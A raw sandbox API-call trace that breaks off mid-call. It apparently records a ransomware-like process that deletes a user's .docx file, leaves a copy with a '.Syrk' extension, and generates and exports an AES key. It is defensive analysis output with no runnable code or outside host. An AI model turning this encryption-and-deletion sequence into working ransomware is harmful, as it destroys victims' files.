lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.046] EtwEventActivityIdControl () returned 0x0 [0232.046] EtwEventActivityIdControl () returned 0x0 [0232.046] EtwEventActivityIdControl () returned 0x0 [0232.104] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\tcbu3ashpzfcr2r8ck o.docx")) returned 0x20 [0232.106] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0232.106] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", lpFilePart=0x0) returned 0x36 [0232.107] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0232.107] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0232.107] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0232.107] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0232.107] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0232.107] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0232.107] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0232.107] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0232.107] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0232.108] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0232.108] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0232.108] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0232.108] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0232.108] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0232.108] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0232.108] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0232.108] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\tcbu3ashpzfcr2r8ck o.docx")) returned 0x20 [0232.108] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0232.108] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", lpFilePart=0x0) returned 0x36 [0232.111] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0232.111] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", lpFilePart=0x0) returned 0x36 [0232.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0232.111] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0232.111] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", lpFilePart=0x0) returned 0x36 [0232.112] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\tcbu3ashpzfcr2r8ck o.docx\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0232.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0232.112] CoTaskMemAlloc (cb=0x404) returned 0x5c9b950 [0232.112] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9b950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0232.113] CoTaskMemFree (pv=0x5c9b950) [0232.115] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\tcbu3ashpzfcr2r8ck o.docx")) returned 0x20 [0232.115] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0232.115] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", lpFilePart=0x0) returned 0x36 [0232.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0232.116] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\tcbu3ashpzfcr2r8ck o.docx"), fInfoLevelId=0x0, lpFileInformation=0x241061c | out: lpFileInformation=0x241061c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc43b940, ftCreationTime.dwHighDateTime=0x1d94aa7, ftLastAccessTime.dwLowDateTime=0xca1d18b0, ftLastAccessTime.dwHighDateTime=0x1d9957f, ftLastWriteTime.dwLowDateTime=0xca1d18b0, ftLastWriteTime.dwHighDateTime=0x1d9957f, nFileSizeHigh=0x0, nFileSizeLow=0xe51c)) returned 1 [0232.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0232.116] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\tcbu3ashpzfcr2r8ck o.docx")) returned 1 [0232.118] EtwEventActivityIdControl () returned 0x0 [0232.119] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.119] EtwEventActivityIdControl () returned 0x0 [0232.119] EtwEventActivityIdControl () returned 0x0 [0232.119] EtwEventActivityIdControl () returned 0x0 [0232.126] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\tcbu3ashpzfcr2r8ck o.docx.syrk")) returned 0x20 [0232.127] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\tcbu3ashpzfcr2r8ck o.docx.syrk")) returned 0x20 [0232.127] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0232.127] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx.Syrk", nBufferLength=0x3c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx.Syrk", lpFilePart=0x0) returned 0x3b [0232.128] EtwEventActivityIdControl () returned 0x0 [0232.128] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.129] EtwEventActivityIdControl () returned 0x0 [0232.129] EtwEventActivityIdControl () returned 0x0 [0232.129] EtwEventActivityIdControl () returned 0x0 [0232.134] EtwEventActivityIdControl () returned 0x0 [0232.135] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.135] EtwEventActivityIdControl () returned 0x0 [0232.135] EtwEventActivityIdControl () returned 0x0 [0232.135] EtwEventActivityIdControl () returned 0x0 [0232.140] EtwEventActivityIdControl () returned 0x0 [0232.140] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.141] EtwEventActivityIdControl () returned 0x0 [0232.141] EtwEventActivityIdControl () returned 0x0 [0232.141] EtwEventActivityIdControl () returned 0x0 [0232.330] EtwEventActivityIdControl () returned 0x0 [0232.330] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.331] EtwEventActivityIdControl () returned 0x0 [0232.331] EtwEventActivityIdControl () returned 0x0 [0232.331] EtwEventActivityIdControl () returned 0x0 [0232.335] EtwEventActivityIdControl () returned 0x0 [0232.336] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.336] EtwEventActivityIdControl () returned 0x0 [0232.336] EtwEventActivityIdControl () returned 0x0 [0232.336] EtwEventActivityIdControl () returned 0x0 [0232.340] EtwEventActivityIdControl () returned 0x0 [0232.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0232.344] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\tcbu3ashpzfcr2r8ck o.docx.syrk"), fInfoLevelId=0x0, lpFileInformation=0x241aa9c | out: lpFileInformation=0x241aa9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64136e0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x64136e0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x6439840, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xe534)) returned 1 [0232.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0232.345] GetConsoleOutputCP () returned 0x1b5 [0232.471] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0232.471] GetConsoleOutputCP () returned 0x1b5 [0232.472] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0232.472] GetConsoleOutputCP () returned 0x1b5 [0232.472] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0232.472] GetConsoleOutputCP () returned 0x1b5 [0232.472] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0232.472] GetConsoleOutputCP () returned 0x1b5 [0232.472] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0232.472] GetConsoleOutputCP () returned 0x1b5 [0232.472] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0232.472] GetConsoleOutputCP () returned 0x1b5 [0232.473] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0232.473] GetConsoleOutputCP () returned 0x1b5 [0232.473] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0232.473] GetConsoleOutputCP () returned 0x1b5 [0232.473] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0232.473] GetConsoleOutputCP () returned 0x1b5 [0232.473] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0232.473] GetConsoleOutputCP () returned 0x1b5 [0232.473] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0232.473] GetConsoleOutputCP () returned 0x1b5 [0232.473] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0232.474] GetConsoleOutputCP () returned 0x1b5 [0232.474] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0232.474] GetConsoleOutputCP () returned 0x1b5 [0232.474] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0232.474] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0232.474] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0232.475] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24346f4*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x24346f4*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0232.475] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0232.475] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0232.476] EtwEventActivityIdControl () returned 0x0 [0232.476] EtwEventActivityIdControl () returned 0x0 [0232.477] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.477] EtwEventActivityIdControl () returned 0x0 [0232.477] EtwEventActivityIdControl () returned 0x0 [0232.477] EtwEventActivityIdControl () returned 0x0 [0232.479] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.479] EtwEventActivityIdControl () returned 0x0 [0232.479] EtwEventActivityIdControl () returned 0x0 [0232.479] EtwEventActivityIdControl () returned 0x0 [0232.481] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d3a8) returned 1 [0232.482] CryptGenKey (in: hProv=0x5c4d3a8, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c994a0) returned 1 [0232.482] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0232.482] CryptExportKey (in: hKey=0x5c994a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0232.482] CryptExportKey (in: hKey=0x5c994a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x243c0cc, pdwDataLen=0x5a2e8c4 | out: pbData=0x243c0cc*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0232.482] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.483] EtwEventActivityIdControl () returned 0x0 [0232.483] EtwEventActivityIdControl () returned 0x0 [0232.483] EtwEventActivityIdControl () returned 0x0 [0232.483] SysStringLen (param_1="") returned 0x8 [0232.484] SysStringLen (param_1="p") returned 0x8 [0232.484] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.484] SysStringLen (param_1="ﾪjⷡ雁굘꧊盬셒") returned 0x8 [0232.484] SysStringLen (param_1="ﾪjⷡ雁굘꧊盬셒") returned 0x8 [0232.484] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.484] SysStringLen (param_1="po") returned 0x8 [0232.484] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.484] SysStringLen (param_1="銓鬱쿣\懘㰤뀺봤≙) returned 0x8 [0232.484] SysStringLen (param_1="銓鬱쿣\懘㰤뀺봤≙) returned 0x8 [0232.484] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.484] SysStringLen (param_1="pou") returned 0x8 [0232.484] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.484] SysStringLen (param_1="滖핣艾犈挐穹駻") returned 0x8 [0232.484] SysStringLen (param_1="滖핣艾犈挐穹駻") returned 0x8 [0232.484] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.485] SysStringLen (param_1="pouZ") returned 0x8 [0232.485] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.485] SysStringLen (param_1="隟אָੇ䒮弗㱢콧ｗ") returned 0x8 [0232.485] SysStringLen (param_1="隟אָੇ䒮弗㱢콧ｗ") returned 0x8 [0232.485] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.485] SysStringLen (param_1="pouZV") returned 0x8 [0232.485] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.485] SysStringLen (param_1="拗믃ᦴ嶪잛냉暫偸") returned 0x8 [0232.485] SysStringLen (param_1="拗믃ᦴ嶪잛냉暫偸") returned 0x8 [0232.485] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.485] SysStringLen (param_1="pouZVy") returned 0x8 [0232.485] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.485] SysStringLen (param_1="㬴㸱憝崚匦쭚") returned 0x8 [0232.485] SysStringLen (param_1="㬴㸱憝崚匦쭚") returned 0x8 [0232.485] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.486] SysStringLen (param_1="pouZVyl") returned 0x8 [0232.486] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.486] SysStringLen (param_1="\x07转셂\裚ᵠ∍) returned 0x8 [0232.486] SysStringLen (param_1="\x07转셂\裚ᵠ∍) returned 0x8 [0232.486] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.486] SysStringLen (param_1="pouZVylS") returned 0x8 [0232.486] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.486] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂") returned 0x8 [0232.487] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂") returned 0x8 [0232.488] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂") returned 0x8 [0232.488] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂") returned 0x10 [0232.488] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.488] SysStringLen (param_1="pouZVylS5䵻쪪䲼ꀒ") returned 0x10 [0232.488] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.488] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂Ᏺ狩蜻ᗻಪ盝䛸憢") returned 0x10 [0232.488] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂Ᏺ狩蜻ᗻಪ盝䛸憢") returned 0x10 [0232.488] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.489] SysStringLen (param_1="pouZVylS5b䵻쪪䲼ꀒ") returned 0x10 [0232.489] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.489] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂뼗㎠졁챧䳠ꓴ뽊釄") returned 0x10 [0232.489] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂뼗㎠졁챧䳠ꓴ뽊釄") returned 0x10 [0232.489] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.489] SysStringLen (param_1="pouZVylS5b3쪪䲼ꀒ") returned 0x10 [0232.489] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.489] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂蕛Ἰ햗\⇝ᅀ믝≚) returned 0x10 [0232.489] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂蕛Ἰ햗\⇝ᅀ믝≚) returned 0x10 [0232.489] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.489] SysStringLen (param_1="pouZVylS5b3V䲼ꀒ") returned 0x10 [0232.489] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.489] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂렐蝊柨눲弜萆㬾") returned 0x10 [0232.489] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂렐蝊柨눲弜萆㬾") returned 0x10 [0232.489] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.490] SysStringLen (param_1="pouZVylS5b3VS䲼ꀒ") returned 0x10 [0232.490] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.490] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂婳諮䴎Ꮺ烩ᬜ") returned 0x10 [0232.490] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂婳諮䴎Ꮺ烩ᬜ") returned 0x10 [0232.490] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.490] SysStringLen (param_1="pouZVylS5b3VSFꀒ") returned 0x10 [0232.490] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.490] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂큹턍⸅雹耈㉙來") returned 0x10 [0232.490] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂큹턍⸅雹耈㉙來") returned 0x10 [0232.490] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.490] SysStringLen (param_1="pouZVylS5b3VSF/") returned 0x10 [0232.490] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.490] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂鴼뷏⮑䏥鄬㼜労") returned 0x10 [0232.490] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂鴼뷏⮑䏥鄬㼜労") returned 0x10 [0232.490] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.491] SysStringLen (param_1="pouZVylS5b3VSF/I") returned 0x10 [0232.491] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.491] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌") returned 0x10 [0232.491] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌") returned 0x10 [0232.491] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌") returned 0x10 [0232.491] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌") returned 0x18 [0232.491] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 